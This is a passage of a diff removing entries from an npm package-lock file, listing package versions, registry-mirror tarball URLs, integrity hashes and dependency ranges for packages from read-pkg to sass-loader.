-        "load-json-file": "^4.0.0",
-        "normalize-package-data": "^2.3.2",
-        "path-type": "^3.0.0"
-      },
-      "dependencies": {
-        "path-type": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/path-type/download/path-type-3.0.0.tgz",
-          "integrity": "sha1-zvMdyOCho7sNEFwM2Xzzv0f0428=",
-          "requires": {
-            "pify": "^3.0.0"
-          }
-        },
-        "pify": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/pify/download/pify-3.0.0.tgz",
-          "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY="
-        }
-      }
-    },
-    "read-pkg-up": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-3.0.0.tgz?cache=0&sync_timestamp=1616916249599&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-3.0.0.tgz",
-      "integrity": "sha1-PtSWaF26D4/hGNBpHcUfSh/5bwc=",
-      "requires": {
-        "find-up": "^2.0.0",
-        "read-pkg": "^3.0.0"
-      },
-      "dependencies": {
-        "find-up": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npm.taobao.org/find-up/download/find-up-2.1.0.tgz",
-          "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=",
-          "requires": {
-            "locate-path": "^2.0.0"
-          }
-        },
-        "locate-path": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/locate-path/download/locate-path-2.0.0.tgz",
-          "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=",
-          "requires": {
-            "p-locate": "^2.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "p-limit": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npm.taobao.org/p-limit/download/p-limit-1.3.0.tgz?cache=0&sync_timestamp=1606288333421&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-limit%2Fdownload%2Fp-limit-1.3.0.tgz",
-          "integrity": "sha1-uGvV8MJWkJEcdZD8v8IBDVSzzLg=",
-          "requires": {
-            "p-try": "^1.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/p-locate/download/p-locate-2.0.0.tgz",
-          "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=",
-          "requires": {
-            "p-limit": "^1.1.0"
-          }
-        },
-        "p-try": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/p-try/download/p-try-1.0.0.tgz",
-          "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M="
-        },
-        "path-exists": {
-          "version": "3.0.0",
-          "resolved": "https://registry.nlark.com/path-exists/download/path-exists-3.0.0.tgz",
-          "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU="
-        }
-      }
-    },
-    "readable-stream": {
-      "version": "3.6.0",
-      "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-3.6.0.tgz",
-      "integrity": "sha1-M3u9o63AcGvT4CRCaihtS0sskZg=",
-      "requires": {
-        "inherits": "^2.0.3",
-        "string_decoder": "^1.1.1",
-        "util-deprecate": "^1.0.1"
-      }
-    },
-    "readdirp": {
-      "version": "3.5.0",
-      "resolved": "https://registry.npm.taobao.org/readdirp/download/readdirp-3.5.0.tgz?cache=0&sync_timestamp=1615717369278&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Freaddirp%2Fdownload%2Freaddirp-3.5.0.tgz",
-      "integrity": "sha1-m6dMAZsV02UnjS6Ru4xI17TULJ4=",
-      "optional": true,
-      "requires": {
-        "picomatch": "^2.2.1"
-      }
-    },
-    "recursive-readdir": {
-      "version": "2.2.2",
-      "resolved": "https://registry.nlark.com/recursive-readdir/download/recursive-readdir-2.2.2.tgz",
-      "integrity": "sha1-mUb7MnThYo3m42svZxSVO0hFCU8=",
-      "requires": {
-        "minimatch": "3.0.4"
-      }
-    },
-    "redent": {
-      "version": "3.0.0",
-      "resolved": "https://registry.nlark.com/redent/download/redent-3.0.0.tgz?cache=0&sync_timestamp=1620070119923&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fredent%2Fdownload%2Fredent-3.0.0.tgz",
-      "integrity": "sha1-5Ve3mYMWu1PJ8fVvpiY1LGljBZ8=",
-      "requires": {
-        "indent-string": "^4.0.0",
-        "strip-indent": "^3.0.0"
-      }
-    },
-    "regenerate": {
-      "version": "1.4.2",
-      "resolved": "https://registry.npm.taobao.org/regenerate/download/regenerate-1.4.2.tgz?cache=0&sync_timestamp=1604218378158&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregenerate%2Fdownload%2Fregenerate-1.4.2.tgz",
-      "integrity": "sha1-uTRtiCfo9aMve6KWN9OYtpAUhIo="
-    },
-    "regenerate-unicode-properties": {
-      "version": "8.2.0",
-      "resolved": "https://registry.npm.taobao.org/regenerate-unicode-properties/download/regenerate-unicode-properties-8.2.0.tgz",
-      "integrity": "sha1-5d5xEdZV57pgwFfb6f83yH5lzew=",
-      "requires": {
-        "regenerate": "^1.4.0"
-      }
-    },
-    "regenerator-runtime": {
-      "version": "0.13.7",
-      "resolved": "https://registry.npm.taobao.org/regenerator-runtime/download/regenerator-runtime-0.13.7.tgz",
-      "integrity": "sha1-ysLazIoepnX+qrrriugziYrkb1U="
-    },
-    "regenerator-transform": {
-      "version": "0.14.5",
-      "resolved": "https://registry.npm.taobao.org/regenerator-transform/download/regenerator-transform-0.14.5.tgz?cache=0&sync_timestamp=1593557271381&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregenerator-transform%2Fdownload%2Fregenerator-transform-0.14.5.tgz",
-      "integrity": "sha1-yY2hVGg2ccnE3LFuznNlF+G3/rQ=",
-      "requires": {
-        "@babel/runtime": "^7.8.4"
-      }
-    },
-    "regex-not": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/regex-not/download/regex-not-1.0.2.tgz",
-      "integrity": "sha1-H07OJ+ALC2XgJHpoEOaoXYOldSw=",
-      "requires": {
-        "extend-shallow": "^3.0.2",
-        "safe-regex": "^1.1.0"
-      }
-    },
-    "regex-parser": {
-      "version": "2.2.11",
-      "resolved": "https://registry.npm.taobao.org/regex-parser/download/regex-parser-2.2.11.tgz",
-      "integrity": "sha1-OzfskEnhlHmAboeMq+fByoPM/lg="
-    },
-    "regexp.prototype.flags": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npm.taobao.org/regexp.prototype.flags/download/regexp.prototype.flags-1.3.1.tgz?cache=0&sync_timestamp=1610725698415&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregexp.prototype.flags%2Fdownload%2Fregexp.prototype.flags-1.3.1.tgz",
-      "integrity": "sha1-fvNSro0VnnWMDq3Kb4/LTu8HviY=",
-      "requires": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.3"
-      }
-    },
-    "regexpp": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npm.taobao.org/regexpp/download/regexpp-3.1.0.tgz",
-      "integrity": "sha1-IG0K0KVkjP+9uK5GQ489xRyfeOI="
-    },
-    "regexpu-core": {
-      "version": "4.7.1",
-      "resolved": "https://registry.npm.taobao.org/regexpu-core/download/regexpu-core-4.7.1.tgz",
-      "integrity": "sha1-LepamgcjMpj78NuR+pq8TG4PitY=",
-      "requires": {
-        "regenerate": "^1.4.0",
-        "regenerate-unicode-properties": "^8.2.0",
-        "regjsgen": "^0.5.1",
-        "regjsparser": "^0.6.4",
-        "unicode-match-property-ecmascript": "^1.0.4",
-        "unicode-match-property-value-ecmascript": "^1.2.0"
-      }
-    },
-    "regjsgen": {
-      "version": "0.5.2",
-      "resolved": "https://registry.npm.taobao.org/regjsgen/download/regjsgen-0.5.2.tgz?cache=0&sync_timestamp=1590335923060&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregjsgen%2Fdownload%2Fregjsgen-0.5.2.tgz",
-      "integrity": "sha1-kv8pX7He7L9uzaslQ9IH6RqjNzM="
-    },
-    "regjsparser": {
-      "version": "0.6.9",
-      "resolved": "https://registry.npm.taobao.org/regjsparser/download/regjsparser-0.6.9.tgz",
-      "integrity": "sha1-tInu98mizkNydicBFCnPgzpxg+Y=",
-      "requires": {
-        "jsesc": "~0.5.0"
-      },
-      "dependencies": {
-        "jsesc": {
-          "version": "0.5.0",
-          "resolved": "https://registry.npm.taobao.org/jsesc/download/jsesc-0.5.0.tgz",
-          "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0="
-        }
-      }
-    },
-    "relateurl": {
-      "version": "0.2.7",
-      "resolved": "https://registry.npm.taobao.org/relateurl/download/relateurl-0.2.7.tgz",
-      "integrity": "sha1-VNvzd+UUQKypCkzSdGANP/LYiKk="
-    },
-    "remove-trailing-separator": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/remove-trailing-separator/download/remove-trailing-separator-1.1.0.tgz",
-      "integrity": "sha1-wkvOKig62tW8P1jg1IJJuSN52O8="
-    },
-    "renderkid": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npm.taobao.org/renderkid/download/renderkid-2.0.5.tgz?cache=0&sync_timestamp=1609588551795&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Frenderkid%2Fdownload%2Frenderkid-2.0.5.tgz",
-      "integrity": "sha1-SDsaxZxmAaswp6WWpZZcq8z90KU=",
-      "requires": {
-        "css-select": "^2.0.2",
-        "dom-converter": "^0.2",
-        "htmlparser2": "^3.10.1",
-        "lodash": "^4.17.20",
-        "strip-ansi": "^3.0.0"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-2.1.1.tgz",
-          "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8="
-        },
-        "strip-ansi": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-3.0.1.tgz?cache=0&sync_timestamp=1618553388833&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-3.0.1.tgz",
-          "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
-          "requires": {
-            "ansi-regex": "^2.0.0"
-          }
-        }
-      }
-    },
-    "repeat-element": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npm.taobao.org/repeat-element/download/repeat-element-1.1.4.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Frepeat-element%2Fdownload%2Frepeat-element-1.1.4.tgz",
-      "integrity": "sha1-vmgVIIR6tYx1aKx1+/rSjtQtOek="
-    },
-    "repeat-string": {
-      "version": "1.6.1",
-      "resolved": "https://registry.npm.taobao.org/repeat-string/download/repeat-string-1.6.1.tgz",
-      "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc="
-    },
-    "require-directory": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npm.taobao.org/require-directory/download/require-directory-2.1.1.tgz",
-      "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I="
-    },
-    "require-from-string": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npm.taobao.org/require-from-string/download/require-from-string-2.0.2.tgz",
-      "integrity": "sha1-iaf92TgmEmcxjq/hT5wy5ZjDaQk="
-    },
-    "require-main-filename": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/require-main-filename/download/require-main-filename-2.0.0.tgz",
-      "integrity": "sha1-0LMp7MfMD2Fkn2IhW+aa9UqomJs="
-    },
-    "requires-port": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/requires-port/download/requires-port-1.0.0.tgz",
-      "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8="
-    },
-    "resolve": {
-      "version": "1.18.1",
-      "resolved": "https://registry.npm.taobao.org/resolve/download/resolve-1.18.1.tgz",
-      "integrity": "sha1-AY/LLFsgfSpkJK7jYcWiZtqPQTA=",
-      "requires": {
-        "is-core-module": "^2.0.0",
-        "path-parse": "^1.0.6"
-      }
-    },
-    "resolve-cwd": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/resolve-cwd/download/resolve-cwd-3.0.0.tgz",
-      "integrity": "sha1-DwB18bslRHZs9zumpuKt/ryxPy0=",
-      "requires": {
-        "resolve-from": "^5.0.0"
-      },
-      "dependencies": {
-        "resolve-from": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npm.taobao.org/resolve-from/download/resolve-from-5.0.0.tgz",
-          "integrity": "sha1-w1IlhD3493bfIcV1V7wIfp39/Gk="
-        }
-      }
-    },
-    "resolve-from": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/resolve-from/download/resolve-from-4.0.0.tgz",
-      "integrity": "sha1-SrzYUq0y3Xuqv+m0DgCjbbXzkuY="
-    },
-    "resolve-url": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npm.taobao.org/resolve-url/download/resolve-url-0.2.1.tgz?cache=0&sync_timestamp=1585438700247&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fresolve-url%2Fdownload%2Fresolve-url-0.2.1.tgz",
-      "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo="
-    },
-    "resolve-url-loader": {
-      "version": "3.1.3",
-      "resolved": "https://registry.nlark.com/resolve-url-loader/download/resolve-url-loader-3.1.3.tgz",
-      "integrity": "sha1-SexoNA9n2NKra0AZSNXe86stA2c=",
-      "requires": {
-        "adjust-sourcemap-loader": "3.0.0",
-        "camelcase": "5.3.1",
-        "compose-function": "3.0.3",
-        "convert-source-map": "1.7.0",
-        "es6-iterator": "2.0.3",
-        "loader-utils": "1.2.3",
-        "postcss": "7.0.21",
-        "rework": "1.0.1",
-        "rework-visit": "1.0.0",
-        "source-map": "0.6.1"
-      },
-      "dependencies": {
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.nlark.com/ansi-styles/download/ansi-styles-3.2.1.tgz",
-          "integrity": "sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=",
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "camelcase": {
-          "version": "5.3.1",
-          "resolved": "https://registry.npm.taobao.org/camelcase/download/camelcase-5.3.1.tgz?cache=0&sync_timestamp=1603921799543&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-5.3.1.tgz",
-          "integrity": "sha1-48mzFWnhBoEd8kL3FXJaH0xJQyA="
-        },
-        "chalk": {
-          "version": "2.4.2",
-          "resolved": "https://registry.nlark.com/chalk/download/chalk-2.4.2.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-2.4.2.tgz",
-          "integrity": "sha1-zUJUFnelQzPPVBpJEIwUMrRMlCQ=",
-          "requires": {
-            "ansi-styles": "^3.2.1",
-            "escape-string-regexp": "^1.0.5",
-            "supports-color": "^5.3.0"
-          },
-          "dependencies": {
-            "supports-color": {
-              "version": "5.5.0",
-              "resolved": "https://registry.nlark.com/supports-color/download/supports-color-5.5.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-5.5.0.tgz",
-              "integrity": "sha1-4uaaRKyHcveKHsCzW2id9lMO/I8=",
-              "requires": {
-                "has-flag": "^3.0.0"
-              }
-            }
-          }
-        },
-        "emojis-list": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npm.taobao.org/emojis-list/download/emojis-list-2.1.0.tgz",
-          "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k="
-        },
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/json5/download/json5-1.0.1.tgz",
-          "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        },
-        "loader-utils": {
-          "version": "1.2.3",
-          "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-1.2.3.tgz",
-          "integrity": "sha1-H/XcaRHJ8KBiUxpMBLYJQGEIwsc=",
-          "requires": {
-            "big.js": "^5.2.2",
-            "emojis-list": "^2.0.0",
-            "json5": "^1.0.1"
-          }
-        },
-        "postcss": {
-          "version": "7.0.21",
-          "resolved": "https://registry.nlark.com/postcss/download/postcss-7.0.21.tgz",
-          "integrity": "sha1-BrsHgkwZwgIcXQVtWxDDW5iffhc=",
-          "requires": {
-            "chalk": "^2.4.2",
-            "source-map": "^0.6.1",
-            "supports-color": "^6.1.0"
-          }
-        },
-        "supports-color": {
-          "version": "6.1.0",
-          "resolved": "https://registry.nlark.com/supports-color/download/supports-color-6.1.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-6.1.0.tgz",
-          "integrity": "sha1-B2Srxpxj1ayELdSGfo0CXogN+PM=",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
-    "ret": {
-      "version": "0.1.15",
-      "resolved": "https://registry.npm.taobao.org/ret/download/ret-0.1.15.tgz",
-      "integrity": "sha1-uKSCXVvbH8P29Twrwz+BOIaBx7w="
-    },
-    "retry": {
-      "version": "0.12.0",
-      "resolved": "https://registry.npm.taobao.org/retry/download/retry-0.12.0.tgz",
-      "integrity": "sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs="
-    },
-    "reusify": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/reusify/download/reusify-1.0.4.tgz",
-      "integrity": "sha1-kNo4Kx4SbvwCFG6QhFqI2xKSXXY="
-    },
-    "rework": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/rework/download/rework-1.0.1.tgz",
-      "integrity": "sha1-MIBqhBNCtUUQqkEQhQzUhTQUSqc=",
-      "requires": {
-        "convert-source-map": "^0.3.3",
-        "css": "^2.0.0"
-      },
-      "dependencies": {
-        "convert-source-map": {
-          "version": "0.3.5",
-          "resolved": "https://registry.npm.taobao.org/convert-source-map/download/convert-source-map-0.3.5.tgz",
-          "integrity": "sha1-8dgClQr33SYxof6+BZZVDIarMZA="
-        },
-        "css": {
-          "version": "2.2.4",
-          "resolved": "https://registry.npm.taobao.org/css/download/css-2.2.4.tgz",
-          "integrity": "sha1-xkZ1XHOXHyu6amAeLPL9cbEpiSk=",
-          "requires": {
-            "inherits": "^2.0.3",
-            "source-map": "^0.6.1",
-            "source-map-resolve": "^0.5.2",
-            "urix": "^0.1.0"
-          }
-        }
-      }
-    },
-    "rework-visit": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/rework-visit/download/rework-visit-1.0.0.tgz",
-      "integrity": "sha1-mUWygD8hni96ygCtuLyfZA+ELJo="
-    },
-    "rgb-regex": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/rgb-regex/download/rgb-regex-1.0.1.tgz",
-      "integrity": "sha1-wODWiC3w4jviVKR16O3UGRX+rrE="
-    },
-    "rgba-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/rgba-regex/download/rgba-regex-1.0.0.tgz",
-      "integrity": "sha1-QzdOLiyglosO8VI0YLfXMP8i7rM="
-    },
-    "rimraf": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npm.taobao.org/rimraf/download/rimraf-3.0.2.tgz",
-      "integrity": "sha1-8aVAK6YiCtUswSgrrBrjqkn9Bho=",
-      "requires": {
-        "glob": "^7.1.3"
-      }
-    },
-    "ripemd160": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npm.taobao.org/ripemd160/download/ripemd160-2.0.2.tgz",
-      "integrity": "sha1-ocGm9iR1FXe6XQeRTLyShQWFiQw=",
-      "requires": {
-        "hash-base": "^3.0.0",
-        "inherits": "^2.0.1"
-      }
-    },
-    "rollup": {
-      "version": "1.32.1",
-      "resolved": "https://registry.nlark.com/rollup/download/rollup-1.32.1.tgz?cache=0&sync_timestamp=1622979504511&other_urls=https%3A%2F%2Fregistry.nlark.com%2Frollup%2Fdownload%2Frollup-1.32.1.tgz",
-      "integrity": "sha1-RIDlLZ2eKuS0a6DZ3erzFjlA+cQ=",
-      "requires": {
-        "@types/estree": "*",
-        "@types/node": "*",
-        "acorn": "^7.1.0"
-      }
-    },
-    "rollup-plugin-babel": {
-      "version": "4.4.0",
-      "resolved": "https://registry.npm.taobao.org/rollup-plugin-babel/download/rollup-plugin-babel-4.4.0.tgz",
-      "integrity": "sha1-0VvSWUZqnRrMvbL+L/8XxS0DCss=",
-      "requires": {
-        "@babel/helper-module-imports": "^7.0.0",
-        "rollup-pluginutils": "^2.8.1"
-      }
-    },
-    "rollup-plugin-terser": {
-      "version": "5.3.1",
-      "resolved": "https://registry.npm.taobao.org/rollup-plugin-terser/download/rollup-plugin-terser-5.3.1.tgz",
-      "integrity": "sha1-jGUAYsIqhCbGQmhUiVdGO/mBtBM=",
-      "requires": {
-        "@babel/code-frame": "^7.5.5",
-        "jest-worker": "^24.9.0",
-        "rollup-pluginutils": "^2.8.2",
-        "serialize-javascript": "^4.0.0",
-        "terser": "^4.6.2"
-      },
-      "dependencies": {
-        "jest-worker": {
-          "version": "24.9.0",
-          "resolved": "https://registry.nlark.com/jest-worker/download/jest-worker-24.9.0.tgz",
-          "integrity": "sha1-Xb/bWy0yLphWeJgjipaXvM5ns+U=",
-          "requires": {
-            "merge-stream": "^2.0.0",
-            "supports-color": "^6.1.0"
-          }
-        },
-        "serialize-javascript": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/serialize-javascript/download/serialize-javascript-4.0.0.tgz",
-          "integrity": "sha1-tSXhI4SJpez8Qq+sw/6Z5mb0sao=",
-          "requires": {
-            "randombytes": "^2.1.0"
-          }
-        },
-        "supports-color": {
-          "version": "6.1.0",
-          "resolved": "https://registry.nlark.com/supports-color/download/supports-color-6.1.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-6.1.0.tgz",
-          "integrity": "sha1-B2Srxpxj1ayELdSGfo0CXogN+PM=",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
-    "rollup-pluginutils": {
-      "version": "2.8.2",
-      "resolved": "https://registry.npm.taobao.org/rollup-pluginutils/download/rollup-pluginutils-2.8.2.tgz",
-      "integrity": "sha1-cvKvB0i1kjZNvTOJ5gDlqURKNR4=",
-      "requires": {
-        "estree-walker": "^0.6.1"
-      },
-      "dependencies": {
-        "estree-walker": {
-          "version": "0.6.1",
-          "resolved": "https://registry.npm.taobao.org/estree-walker/download/estree-walker-0.6.1.tgz",
-          "integrity": "sha1-UwSRQ/QMbrkYsjZx0f4yGfOhs2I="
-        }
-      }
-    },
-    "rsvp": {
-      "version": "4.8.5",
-      "resolved": "https://registry.npm.taobao.org/rsvp/download/rsvp-4.8.5.tgz",
-      "integrity": "sha1-yPFVMR0Wf2jyHhaN9x7FsIMRNzQ="
-    },
-    "run-parallel": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/run-parallel/download/run-parallel-1.2.0.tgz",
-      "integrity": "sha1-ZtE2jae9+SHrnZW9GpIp5/IaQ+4=",
-      "requires": {
-        "queue-microtask": "^1.2.2"
-      }
-    },
-    "run-queue": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/run-queue/download/run-queue-1.0.3.tgz",
-      "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=",
-      "requires": {
-        "aproba": "^1.1.1"
-      }
-    },
-    "safe-buffer": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.1.2.tgz",
-      "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0="
-    },
-    "safe-regex": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/safe-regex/download/safe-regex-1.1.0.tgz",
-      "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=",
-      "requires": {
-        "ret": "~0.1.10"
-      }
-    },
-    "safer-buffer": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npm.taobao.org/safer-buffer/download/safer-buffer-2.1.2.tgz",
-      "integrity": "sha1-RPoWGwGHuVSd2Eu5GAL5vYOFzWo="
-    },
-    "sane": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npm.taobao.org/sane/download/sane-4.1.0.tgz",
-      "integrity": "sha1-7Ygf2SJzOmxGG8GJ3CtsAG8//e0=",
-      "requires": {
-        "@cnakazawa/watch": "^1.0.3",
-        "anymatch": "^2.0.0",
-        "capture-exit": "^2.0.0",
-        "exec-sh": "^0.3.2",
-        "execa": "^1.0.0",
-        "fb-watchman": "^2.0.0",
-        "micromatch": "^3.1.4",
-        "minimist": "^1.1.1",
-        "walker": "~1.0.5"
-      },
-      "dependencies": {
-        "anymatch": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/anymatch/download/anymatch-2.0.0.tgz?cache=0&sync_timestamp=1617747502795&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fanymatch%2Fdownload%2Fanymatch-2.0.0.tgz",
-          "integrity": "sha1-vLJLTzeTTZqnrBe0ra+J58du8us=",
-          "requires": {
-            "micromatch": "^3.1.4",
-            "normalize-path": "^2.1.1"
-          }
-        },
-        "braces": {
-          "version": "2.3.2",
-          "resolved": "https://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz",
-          "integrity": "sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=",
-          "requires": {
-            "arr-flatten": "^1.1.0",
-            "array-unique": "^0.3.2",
-            "extend-shallow": "^2.0.1",
-            "fill-range": "^4.0.0",
-            "isobject": "^3.0.1",
-            "repeat-element": "^1.1.2",
-            "snapdragon": "^0.8.1",
-            "snapdragon-node": "^2.0.1",
-            "split-string": "^3.0.2",
-            "to-regex": "^3.0.1"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "fill-range": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/fill-range/download/fill-range-4.0.0.tgz",
-          "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
-          "requires": {
-            "extend-shallow": "^2.0.1",
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1",
-            "to-regex-range": "^2.1.0"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "is-number": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz",
-          "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
-          "requires": {
-            "kind-of": "^3.0.2"
-          },
-          "dependencies": {
-            "kind-of": {
-              "version": "3.2.2",
-              "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-              "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-              "requires": {
-                "is-buffer": "^1.1.5"
-              }
-            }
-          }
-        },
-        "micromatch": {
-          "version": "3.1.10",
-          "resolved": "https://registry.npm.taobao.org/micromatch/download/micromatch-3.1.10.tgz?cache=0&sync_timestamp=1618054841521&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmicromatch%2Fdownload%2Fmicromatch-3.1.10.tgz",
-          "integrity": "sha1-cIWbyVyYQJUvNZoGij/En57PrCM=",
-          "requires": {
-            "arr-diff": "^4.0.0",
-            "array-unique": "^0.3.2",
-            "braces": "^2.3.1",
-            "define-property": "^2.0.2",
-            "extend-shallow": "^3.0.2",
-            "extglob": "^2.0.4",
-            "fragment-cache": "^0.2.1",
-            "kind-of": "^6.0.2",
-            "nanomatch": "^1.2.9",
-            "object.pick": "^1.3.0",
-            "regex-not": "^1.0.0",
-            "snapdragon": "^0.8.1",
-            "to-regex": "^3.0.2"
-          }
-        },
-        "normalize-path": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/normalize-path/download/normalize-path-2.1.1.tgz",
-          "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=",
-          "requires": {
-            "remove-trailing-separator": "^1.0.1"
-          }
-        },
-        "to-regex-range": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-2.1.1.tgz",
-          "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
-          "requires": {
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1"
-          }
-        }
-      }
-    },
-    "sanitize.css": {
-      "version": "10.0.0",
-      "resolved": "https://registry.npm.taobao.org/sanitize.css/download/sanitize.css-10.0.0.tgz",
-      "integrity": "sha1-tcslR+lthimmCUdURmUkOx3DZXo="
-    },
-    "sass-loader": {
-      "version": "10.2.0",
